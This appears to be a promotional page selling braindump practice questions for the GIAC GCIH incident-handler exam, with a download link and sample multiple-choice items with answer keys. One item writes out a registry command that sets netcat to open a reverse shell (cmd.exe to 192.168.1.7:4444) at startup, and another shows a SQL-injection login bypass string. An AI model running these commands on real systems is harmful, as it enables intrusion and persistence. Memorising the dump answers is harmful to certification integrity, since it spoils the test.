Free PDF Quiz 2025 GCIH: Fantastic GIAC Certified Incident Handler Minimum Pass Score

BTW, DOWNLOAD part of Exams4sures GCIH dumps from Cloud Storage: https://drive.google.com/open?id=1VRn2mhJjP2tSd88P-mdWMWlh_fxIu2H7

The desktop GIAC Certified Incident Handler (GCIH) practice exam software helps its valued customer to be well aware of the pattern of the real GCIH exam. You can try a free GIAC Certified Incident Handler (GCIH) demo too. This GIAC Certified Incident Handler (GCIH) practice test is customizable and you can adjust its time and GIAC Certified Incident Handler (GCIH) exam questions.

GIAC GCIH Exam covers a wide range of topics related to incident response, including incident handling fundamentals, malware analysis, network and host-based forensics, and incident management. GCIH exam is designed to be challenging and requires a comprehensive understanding of the tools, techniques, and best practices used in incident response. GIAC Certified Incident Handler certification is recognized globally and is highly valued by employers as it demonstrates an individual's ability to respond to security incidents effectively.

>> GCIH Minimum Pass Score <<

GCIH Popular Exams, GCIH Latest Exam Question

You can see the recruitment on the Internet, and the requirements for GCIH certification are getting higher and higher. As the old saying goes, skills will never be burden. So for us, with one more certification, we will have one more bargaining chip in the future. However, it is difficult for many people to get a GCIH Certification, but we are here to offer you help. We have helped tens of thousands of our customers achieve their certification with our excellent GCIH exam braindumps.

The GCIH certification is designed for professionals who are responsible for incident handling and response, including security analysts, incident responders, network administrators, and IT security managers. GIAC Certified Incident Handler certification demonstrates that an individual has the technical skills and knowledge required to detect, respond to, and recover from security incidents, as well as the ability to develop and implement incident response plans.

GIAC GCIH (GIAC Certified Incident Handler) Certification Exam is a professional certification that is designed to validate the skills and knowledge of IT professionals who are responsible for detecting, responding to, and resolving security incidents. GIAC

Certified Incident Handler certification is offered by the Global Information Assurance Certification (GIAC), a leading organization in the field of information security. The GCIH Certification Exam is recognized around the world as a standard for excellence in incident handling.

GIAC Certified Incident Handler Sample Questions (Q235-Q240):

NEW QUESTION # 235
Which of the following is the process of comparing cryptographic hash functions of system executables and configuration files?

- A. Shoulder surfing
- B. Spoofing
- C. Reconnaissance
- D. File integrity auditing

Answer: D

Explanation:
Section: Volume B

NEW QUESTION # 236
Which of the following Incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an enterprise?

- A. Recovery phase
- B. Identification phase
- C. Eradication phase
- D. Preparation phase
- E. Containment phase

Answer: D

NEW QUESTION # 237
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except the ports that must be used. He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about the programs like GIACing2 that can get into a network through covert channels.
Which of the following is the most effective way to protect the network of the company from an attacker using GIACing2 to scan his internal network?

- A. Block ICMP type 3 messages
- B. Block all outgoing traffic on port 53
- C. Block ICMP type 13 messages
- D. Block all outgoing traffic on port 21

Answer: C

NEW QUESTION # 238
John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we- are-secure.com. On the We-are-secure login page, he enters ='or''=' as a username and successfully logs in to the user page of the Web site.
The we-are-secure login page is vulnerable to a _____.

- A. SQL injection attack
- B. Replay attack
- C. Land attack
- D. Dictionary attack

Answer: A

Explanation:
Section: Volume A

NEW QUESTION # 239
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

- A. You want to put Netcat in the stealth mode.
- B. You want to add the Netcat command to the Windows registry.
- C. You want to perform banner grabbing.
- D. You want to set the Netcat to execute command any time.

Answer: A,B,D

NEW QUESTION # 240
.....